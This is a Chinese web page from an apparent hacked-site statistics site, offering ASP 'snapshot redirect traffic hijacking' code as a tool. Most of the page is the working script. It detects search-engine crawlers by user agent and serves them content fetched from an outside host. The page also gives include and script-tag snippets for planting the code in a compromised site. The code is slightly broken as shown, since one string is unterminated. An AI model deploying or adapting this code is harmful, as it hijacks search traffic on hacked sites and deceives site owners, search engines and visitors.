asp快照跳转流量劫持代码


发布人:www.v95.net分类:安全工具浏览量:581发布时间:2018-10-17

<%

function isspider()

dim agent,searray,i

agent="agent:"&LCase(request.servervariables("http_user_agent"))

searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")

isspider= false

for i=0 to ubound(searray)

 if (instr(agent,searray(i))>0) then isspider=true

next

end function





function fromse()

dim urlrefer,i,searray

urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))

fromse= false

if urlrefer="" then fromse= false

searray=array("google","baidu","sogou","yahoo","soso","360")

for i=0 to ubound(searray)

 if (instr(urlrefer,searray(i))>0) then fromse=true

next

end function



function gethttp(url)

  dim http

  set http=createobject("MSXML2.XMLHTTP")

  Http.open "GET",url,false

  Http.send()

  if Http.readystate<>4 then

    exit function

  end if

  gethttp=bytes2BSTR(Http.responseBody)

  set http=nothing

  if err.number<>0 then err.Clear

end function



function bytes2BSTR(vIn)

  dim strReturn

  dim i,ThisCharCode,NextCharCode

  strReturn = ""

  For i = 1 To LenB(vIn)

  ThisCharCode = AscB(MidB(vIn,i,1))

  If ThisCharCode < &H80 Then

  strReturn = strReturn & Chr(ThisCharCode)

  Else

  NextCharCode = AscB(MidB(vIn,i+1,1))

  strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

  i = i + 1

  End If

  Next

  bytes2BSTR = strReturn

End function





if(isspider()) then

  dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml

  bodyurl="http://www.cmog.net/

    response.clear

    remotehtml=gethttp(bodyurl)

    response.write(remotehtml)

    response.write("<!--"&now()&"-->")

    response.flush

    response.end

end if





%>


调用代码

<!--#include file="conn.asp"-->

调用跳转

<script src="k.gif"></script> 

被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

www.v95.net  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21456332(PV) 页面执行时间:57.21(MS)
  • xml
  • 网站地图